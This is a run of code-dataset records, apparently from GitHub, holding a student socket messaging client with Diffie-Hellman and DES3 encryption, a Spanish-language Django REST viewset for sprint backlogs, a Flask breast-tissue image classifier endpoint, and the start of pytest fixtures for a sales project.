groups=groups.split(',')\n # print('sending to',groups)\n flag=False\n if \"file\" in msg.lower():\n mesg=mesg.split()[1].strip()\n flag= True \n distinct_lst=[]\n for group in groups:\n reply=cli_sd.recv(MSG_SIZE).decode('utf-8')\n if(reply==\"no group\"):\n print(group+\" doesn't exist\\n\")\n elif reply==\"not in group\":\n print(\"you don't belong to the group \"+group)\n elif reply ==\"None\":\n cli_sd.send(\"dummy\".encode())\n continue\n else:\n lst_users=reply.split(',')\n \n info=\";\"+mesg+':'+USERNAME+\";\"+group+\";\" +str(flag)\n thread_lst=[]\n for user in lst_users:\n t=thread(\"group\",user+info)\n thread_lst.append(t)\n for t in thread_lst:\n t.start()\n for t in thread_lst:\n t.join()\n \n cli_sd.send(\"dummy\".encode())\n \n else:\n send_msg(cli_sd,\"send msg\")\n username,mesg= break_message(msg)\n reply=send_msg(cli_sd,username)\n if reply == \"no user\":\n print(\"No user with that username\")\n continue\n ip,port,name = reply.split(':')\n soc_id = socket.socket()\n if (soc_id.connect_ex((ip, int(port))))!=0:\n continue\n \n if \"file\" in msg.lower():\n # print(\"##send file to the user##\")\n mesg=mesg.split()[1].strip()\n send_msg(soc_id, \"file\")\n key = deffe_Hellman(soc_id,ROLL_NO)\n cipher = DES3.new(key, DES3.MODE_ECB)\n send_file(mesg+\":\"+USERNAME,soc_id,cipher)\n # print(\"done\")\n else:\n \n send_msg(soc_id,\"msg\")\n key = deffe_Hellman(soc_id,ROLL_NO)\n mesg=mesg+\":\"+USERNAME\n encrypt_and_send(soc_id,mesg,key)\n soc_id.close()\n \n elif \"create\" in msg.lower():\n if not SIGN_IN:\n print(\"you are not signed in. New user=>signup otherwise signin\")\n continue\n send_msg(cli_sd, \"create group\")\n group_name = msg.split(\" \")[1]\n lst = [group_name, USERNAME]\n msg = ':'.join(lst)\n reply = send_msg(cli_sd, msg)\n if reply==\"exist\":\n print(\"Group is already created.\")\n else:\n GROUP_KEY[group_name] = reply.split(\":\")[1]\n print(\"Group created successfully.\")\n\n elif \"join\" in msg.lower():\n if not SIGN_IN:\n print(\"you are not signed in. New user=>signup otherwise signin\")\n continue \n group_names = msg.split(\" \")[1]\n for group_name in group_names.split(\",\"):\n send_msg(cli_sd, \"join group\")\n lst = [group_name, USERNAME]\n msg = ':'.join(lst)\n reply = send_msg(cli_sd, msg)\n if reply == \"group not exist\":\n print(\"Group with name \"+ group_name+\" doesn't exists\")\n elif reply==\"exist\":\n print(\"Already member of the group \"+ group_name)\n else:\n GROUP_KEY[group_name] = reply.split(\":\")[1]\n print(\"Joined group \" + group_name + \" successfully.\")\n\n \n elif \"list\" in msg.lower():\n if not SIGN_IN:\n print(\"you are not signed in. New user=>signup otherwise signin\")\n continue \n send_msg(cli_sd, \"list group\")\n reply = send_msg(cli_sd, \"dummy\")\n group_details = reply.split(\":\")\n print(\"\")\n for group in group_details:\n print(group)\n\n\n elif msg==\"exit\":\n send_msg(cli_sd,\"exit\")\n if not SIGN_IN:\n cli_sd.send(\"dummy\".encode())\n else:\n cli_sd.send(USERNAME.encode())\n SIGN_IN=False\n break\n \ncli_sd.close()\n# thread1.kill() \n# thread1.join() \n# if __name__ == \"__main__\":\n# main()\n\n\n# thread1.join() \n\n# close the connection \n \n \n", "repo_name": "LikhithaGaddi/End-to-End-Messaging-System", "sub_path": "client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 15798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "socket.socket", "line_number": 24, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 24, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 24, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 26, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 26, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 31, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 45, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 69, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 83, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 85, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 132, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 132, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 132, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 141, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 141, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 141, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 153, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 153, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 153, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 157, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 159, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 159, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 178, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 180, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 218, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 223, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 223, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 223, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 237, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 241, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 241, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 241, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 270, "usage_type": "attribute"}, {"api_name": "getpass.getpass", "line_number": 297, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 301, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 325, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 399, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3.new", "line_number": 408, "usage_type": "call"}, {"api_name": "Crypto.Cipher.DES3", "line_number": 408, "usage_type": "name"}, {"api_name": "Crypto.Cipher.DES3.MODE_ECB", "line_number": 408, "usage_type": "attribute"}]} {"seq_id": "23394711315", "text": "from rest_framework import status, viewsets\nfrom django.db import transaction\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom backend.api.decorators import FormValidator\nfrom backend.api.forms import ResponderEstimacionForm, MoverUserStoryForm\nfrom backend.api.models import Miembro, MiembroSprint, SprintBacklog, Usuario\nfrom backend.api.notifications.RespuestaEstimacionNotification import RespuestaEstimacionNotification\nfrom backend.api.serializers import SprintBacklogSerializer, ActividadSerializer\nfrom backend.api.notifications import USDoneNotification, USRechazadoNotification\n\n\nclass SprintBacklogViewSet(viewsets.ViewSet):\n\n @transaction.atomic\n @action(detail=True, methods=[\"POST\"])\n @FormValidator(form=ResponderEstimacionForm)\n def responder_estimacion(self, request, pk=None):\n try:\n usuario = Usuario.objects.get(user=request.user)\n sprint_backlog = SprintBacklog.objects.get(pk=pk)\n miembro = Miembro.objects.get(usuario=usuario, proyecto=sprint_backlog.sprint.proyecto)\n if not sprint_backlog.sprint.estado_sprint_planning == \"I\":\n response = {\n \"message\": \"Un Planificador debe Iniciar el Sprint Planning para responder una estimación\",\n \"error\": \"bad_request\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n if not sprint_backlog.estado_estimacion == \"p\":\n response = {\n \"message\": \"Este User Story aun no fue estimado por el Planificador\",\n \"error\": \"bad_request\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n if not sprint_backlog.desarrollador and not miembro == sprint_backlog.desarrollador.miembro_proyecto:\n response = {\n \"message\": \"Usted no es desarrollador de este User Story\",\n \"error\": \"bad_request\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n if not sprint_backlog.sprint.estado == \"P\":\n response = {\n \"message\": \"Solo puedes responder una estimación de un Sprint Pendiente\",\n \"error\": \"conflict\"\n }\n return Response(response, status=status.HTTP_409_CONFLICT)\n sprint_backlog.user_story.responder(\n sprint_backlog=sprint_backlog,\n horas_estimadas=(int(request.data.get(\"horas_estimadas\")) + int(sprint_backlog.horas_estimadas))/2\n )\n notification = RespuestaEstimacionNotification(sprint_backlog)\n sprint_backlog.sprint.planificador.usuario.notify(notification)\n serializer = SprintBacklogSerializer(sprint_backlog, many=False)\n return Response(serializer.data)\n except SprintBacklog.DoesNotExist:\n response = {\n \"message\": \"No existe el Sprint Backlog\",\n \"error\": \"not_found\"\n }\n return Response(response, status=status.HTTP_404_NOT_FOUND)\n except Miembro.DoesNotExist:\n response = {\n \"message\": \"Usted no es miembro de este Proyecto\",\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n\n @FormValidator(form=MoverUserStoryForm)\n @action(detail=True, methods=[\"POST\"])\n def mover(self, request, pk=None):\n \"\"\"\n mover Mueve un user story a otra columna de kanban\n\n Args:\n request (Any): request que se solicita\n pk (int, optional): Primary key. Defaults to None.\n\n Returns:\n JSON: Metadatos del SprintBacklog\n \"\"\"\n try:\n usuario_request = Usuario.objects.get(user=request.user)\n sprint_backlog = SprintBacklog.objects.get(pk=pk)\n miembro_request = Miembro.objects.get(usuario=usuario_request, proyecto=sprint_backlog.sprint.proyecto)\n if not miembro_request.tiene_permiso(\"ver_kanban\") \\\n or not miembro_request.tiene_permiso(\"ver_user_stories\") \\\n or (\n not sprint_backlog.desarrollador.miembro_proyecto == miembro_request\n and not miembro_request.tiene_permiso(\"mover_user_stories\")\n ):\n response = {\n \"message\": \"No tiene permiso para realizar esta acción\",\n \"permission_required\": [\n \"ver_kanban\",\n \"ver_user_stories\",\n \"mover_user_stories\"\n ],\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n if sprint_backlog.sprint.estado != 'A':\n response = {\n \"message\": \"El kanban no se puede modificar en el estado actual del Sprint\",\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n if sprint_backlog.user_story.estado == \"R\" or sprint_backlog.user_story.estado == \"C\":\n response = {\n \"message\": \"No se puede modificar el kanban de un user story lanzado o cancelado\",\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n estado = request.data.get(\"estado_kanban\")\n if estado == \"T\" and not miembro_request == sprint_backlog.desarrollador.miembro_proyecto:\n notificacion = USRechazadoNotification(sprint_backlog)\n sprint_backlog.desarrollador.miembro_proyecto.usuario.notify(notificacion)\n if estado == \"N\" and miembro_request == sprint_backlog.desarrollador.miembro_proyecto:\n QAs = Usuario.objects.filter(\n miembros__rol__permisos__codigo=\"lanzar_user_stories\",\n miembros__proyecto=sprint_backlog.sprint.proyecto\n )\n notificacion = USDoneNotification(sprint_backlog)\n notificacion.notify_all(QAs)\n sprint_backlog.mover_kanban(estado)\n serializer = SprintBacklogSerializer(sprint_backlog, many=False)\n return Response(serializer.data)\n except SprintBacklog.DoesNotExist:\n response = {\n \"message\": \"SprintBacklog no existe\",\n \"error\": \"not_found\"\n }\n return Response(response, status=status.HTTP_404_NOT_FOUND)\n except Miembro.DoesNotExist:\n response = {\n \"message\": \"Usted no es miembro de este Proyecto\",\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n except MiembroSprint.DoesNotExist:\n response = {\n \"message\": \"No eres desarrollador de este User Story\",\n \"error\": \"unathorized\"\n }\n return Response(response, status=status.HTTP_401_UNAUTHORIZED)\n\n @action(detail=True, methods=[\"GET\"])\n def actividades(self, request, pk=None):\n \"\"\"\n actividades Devuelve las actividades de un user story\n\n Args:\n request (Any): request que se solicita\n pk (int, optional): Primary key. Defaults to None.\n\n Returns:\n JSON: Metadatos del SprintBacklog\n \"\"\"\n try:\n sprint_backlog = SprintBacklog.objects.get(pk=pk)\n serializer = ActividadSerializer(sprint_backlog.actividades, many=True)\n return Response(serializer.data)\n except SprintBacklog.DoesNotExist:\n response = {\n \"message\": \"SprintBacklog no existe\",\n \"error\": \"not_found\"\n }\n return Response(response, status=status.HTTP_404_NOT_FOUND)\n\n @action(detail=True, methods=['POST'])\n def reasignar(self, request, pk=None):\n \"\"\"\n reasignar Reasigna un user story a otro desarrollador\n\n Args:\n request (Any): request que se solicita\n pk (int, optional): Primary key. Defaults to None.\n\n Returns:\n JSON: Metadatos del SprintBacklog\n \"\"\"\n try:\n usuario_request = Usuario.objects.get(user=request.user)\n sprint_backlog = SprintBacklog.objects.get(pk=pk)\n miembro_request = Miembro.objects.get(usuario=usuario_request, proyecto=sprint_backlog.sprint.proyecto)\n miembro_sprint = MiembroSprint.objects.get(\n id=request.data.get(\"miembro_sprint\"), sprint=sprint_backlog.sprint)\n if not miembro_request.tiene_permiso(\"modificar_miembros_sprint\"):\n response = {\n \"message\": \"No tiene permiso para realizar esta acción\",\n \"permission_required\": [\n \"modificar_miembro_sprint\"\n ],\n \"error\": \"forbidden\"\n }\n return Response(response, status=status.HTTP_403_FORBIDDEN)\n if sprint_backlog.sprint.estado != 'A':\n response = {\n \"message\": \"No se puede reasignar un User Story en un sprint que no está activo.\",\n \"error\": \"bad_request\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n if sprint_backlog.desarrollador:\n response = {\n \"message\": \"No se puede reasignar un User Story que no está pendiente de asignación.\",\n \"error\": \"bad_request\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n sprint_backlog.desarrollador = miembro_sprint\n sprint_backlog.save()\n serializer = SprintBacklogSerializer(sprint_backlog, many=False)\n return Response(serializer.data)\n except SprintBacklog.DoesNotExist:\n response = {\n \"message\": \"El User Story no existe en el sprint.\",\n \"error\": \"not_found\"\n }\n return Response(response, status=status.HTTP_404_NOT_FOUND)\n except MiembroSprint.DoesNotExist:\n response = {\n \"message\": \"El Miembro del Sprint no existe\",\n \"error\": \"not_found\"\n }\n return Response(response, status=status.HTTP_404_NOT_FOUND)\n", "repo_name": "kukiamarilla/polijira", "sub_path": "backend/api/views/SprintBacklogViewSet.py", "file_name": "SprintBacklogViewSet.py", "file_ext": "py", "file_size_in_byte": 10625, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.viewsets.ViewSet", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 13, "usage_type": "name"}, {"api_name": "backend.api.models.Usuario.objects.get", "line_number": 20, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "backend.api.models.Usuario", "line_number": 20, "usage_type": "name"}, {"api_name": "backend.api.models.SprintBacklog.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 21, "usage_type": "name"}, {"api_name": "backend.api.models.Miembro.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "backend.api.models.Miembro.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "backend.api.models.Miembro", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 28, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 46, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_409_CONFLICT", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 46, "usage_type": "name"}, {"api_name": "backend.api.notifications.RespuestaEstimacionNotification.RespuestaEstimacionNotification", "line_number": 51, "usage_type": "call"}, {"api_name": "backend.api.serializers.SprintBacklogSerializer", "line_number": 53, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 54, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.DoesNotExist", "line_number": 55, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 60, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 60, "usage_type": "name"}, {"api_name": "backend.api.models.Miembro.DoesNotExist", "line_number": 61, "usage_type": "attribute"}, {"api_name": "backend.api.models.Miembro", "line_number": 61, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 16, "usage_type": "call"}, {"api_name": "backend.api.decorators.FormValidator", "line_number": 17, "usage_type": "call"}, {"api_name": "backend.api.forms.ResponderEstimacionForm", "line_number": 17, "usage_type": "name"}, {"api_name": "backend.api.models.Usuario.objects.get", "line_number": 82, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "backend.api.models.Usuario", "line_number": 82, "usage_type": "name"}, {"api_name": "backend.api.models.SprintBacklog.objects.get", "line_number": 83, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 83, "usage_type": "name"}, {"api_name": "backend.api.models.Miembro.objects.get", "line_number": 84, "usage_type": "call"}, {"api_name": "backend.api.models.Miembro.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "backend.api.models.Miembro", "line_number": 84, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 100, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 100, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 100, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 106, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 106, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 106, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 112, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 112, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 112, "usage_type": "name"}, {"api_name": "backend.api.notifications.USRechazadoNotification", "line_number": 115, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects.filter", "line_number": 118, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects", "line_number": 118, "usage_type": "attribute"}, {"api_name": "backend.api.models.Usuario", "line_number": 118, "usage_type": "name"}, {"api_name": "backend.api.notifications.USDoneNotification", "line_number": 122, "usage_type": "call"}, {"api_name": "backend.api.serializers.SprintBacklogSerializer", "line_number": 125, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 126, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.DoesNotExist", "line_number": 127, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 127, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 132, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 132, "usage_type": "name"}, {"api_name": "backend.api.models.Miembro.DoesNotExist", "line_number": 133, "usage_type": "attribute"}, {"api_name": "backend.api.models.Miembro", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 138, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 138, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 138, "usage_type": "name"}, {"api_name": "backend.api.models.MiembroSprint.DoesNotExist", "line_number": 139, "usage_type": "attribute"}, {"api_name": "backend.api.models.MiembroSprint", "line_number": 139, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 144, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 144, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 144, "usage_type": "name"}, {"api_name": "backend.api.decorators.FormValidator", "line_number": 68, "usage_type": "call"}, {"api_name": "backend.api.forms.MoverUserStoryForm", "line_number": 68, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 69, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.objects.get", "line_number": 159, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 159, "usage_type": "name"}, {"api_name": "backend.api.serializers.ActividadSerializer", "line_number": 160, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 161, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.DoesNotExist", "line_number": 162, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 162, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 167, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 167, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 167, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 146, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects.get", "line_number": 182, "usage_type": "call"}, {"api_name": "backend.api.models.Usuario.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "backend.api.models.Usuario", "line_number": 182, "usage_type": "name"}, {"api_name": "backend.api.models.SprintBacklog.objects.get", "line_number": 183, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 183, "usage_type": "name"}, {"api_name": "backend.api.models.Miembro.objects.get", "line_number": 184, "usage_type": "call"}, {"api_name": "backend.api.models.Miembro.objects", "line_number": 184, "usage_type": "attribute"}, {"api_name": "backend.api.models.Miembro", "line_number": 184, "usage_type": "name"}, {"api_name": "backend.api.models.MiembroSprint.objects.get", "line_number": 185, "usage_type": "call"}, {"api_name": "backend.api.models.MiembroSprint.objects", "line_number": 185, "usage_type": "attribute"}, {"api_name": "backend.api.models.MiembroSprint", "line_number": 185, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 195, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 195, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 195, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 201, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 201, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 201, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 207, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 207, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 207, "usage_type": "name"}, {"api_name": "backend.api.serializers.SprintBacklogSerializer", "line_number": 210, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 211, "usage_type": "call"}, {"api_name": "backend.api.models.SprintBacklog.DoesNotExist", "line_number": 212, "usage_type": "attribute"}, {"api_name": "backend.api.models.SprintBacklog", "line_number": 212, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 217, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 217, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 217, "usage_type": "name"}, {"api_name": "backend.api.models.MiembroSprint.DoesNotExist", "line_number": 218, "usage_type": "attribute"}, {"api_name": "backend.api.models.MiembroSprint", "line_number": 218, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 223, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 223, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 223, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 169, "usage_type": "call"}]} {"seq_id": "3354913349", "text": "\nimport os\nfrom flask import Flask, flash, request, redirect, url_for\nfrom werkzeug.utils import secure_filename\nfrom misc import allowed_file, ALLOWED_EXTENSIONS, UPLOAD_FOLDER\nfrom nn import load_model, predict\nimport os\napp = Flask(__name__)\n\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['model'] = load_model()\n\n@app.route(\"/\")\ndef hello_world():\n '''\n This request for debugging\n '''\n return \"

Invasive Ductal Carcinoma Classifier. Please send POST request with you image to '/predict'.

\"\n\n\n\n@app.route('/predict', methods=['POST'])\ndef analyze_pic():\n '''\n This function will use the same architecture of upload_pic to receive the picture\n Then loads the machine learning model\n Then apply it to the picture\n The return the result\n '''\n # check if the post request has the file part\n print(\"function called analyze_pic, path = /analyze_pic\")\n\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n\n file = request.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n file.save(filepath)\n #predict\n result = predict(app.config['model'], filepath)\n os.remove(filepath)\n\n if(result == 0):\n return 'healthy tissue'\n return 'possibly idc'\n \n \n", "repo_name": "hassanTiger11/idc_classifier", "sub_path": "api/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "misc.UPLOAD_FOLDER", "line_number": 11, "usage_type": "name"}, {"api_name": "nn.load_model", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.url", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.url", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "misc.allowed_file", "line_number": 45, "usage_type": "call"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "nn.predict", "line_number": 50, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 51, "usage_type": "call"}]} {"seq_id": "23000101677", "text": "import pytest\nfrom proyecto_ets import (\n CLIENT_DATABASE,\n EMPLOYEE_DATABASE,\n PRODUCT_DATABASE,\n SALES_DATABASE,\n Person,\n Client,\n Product,\n Product_Detail,\n Sale,\n Sale_Detail,\n Employee,\n Manager,\n)\n\n# CONSTRUCTORES\n\n\n@pytest.fixture\ndef create_person():\n code = \"P001\"\n name = \"Carlos Guerra\"\n phone = \"1234567800\"\n address = \"La Laguna\"\n email = \"correodeprueba@hotmail.com\"\n person = Person(code, name, phone, address, email)\n return person\n\n\n@pytest.fixture\ndef create_client():\n code = \"C001\"\n name = \"Abian Gustavo\"\n phone = \"9876543210\"\n address = \"La Orotava\"\n email = \"correodeprueba@hotmail.com\"\n client = Client(code, name, phone, address, email)\n return client\n\n\n@pytest.fixture\ndef create_product():\n code = \"PR001\"\n product = Product(code)\n return product\n\n\n@pytest.fixture\ndef create_product_detail():\n code = \"PR001\"\n name = \"Call of Duty\"\n type = \"Videogame\"\n price = 40.00\n stock = 20\n description = \"FPS GAME\"\n product_detail = Product_Detail(code, name, type, price, stock, description)\n return product_detail\n\n\n@pytest.fixture\ndef create_sale():\n code = \"S001\"\n sale = Sale(code)\n return 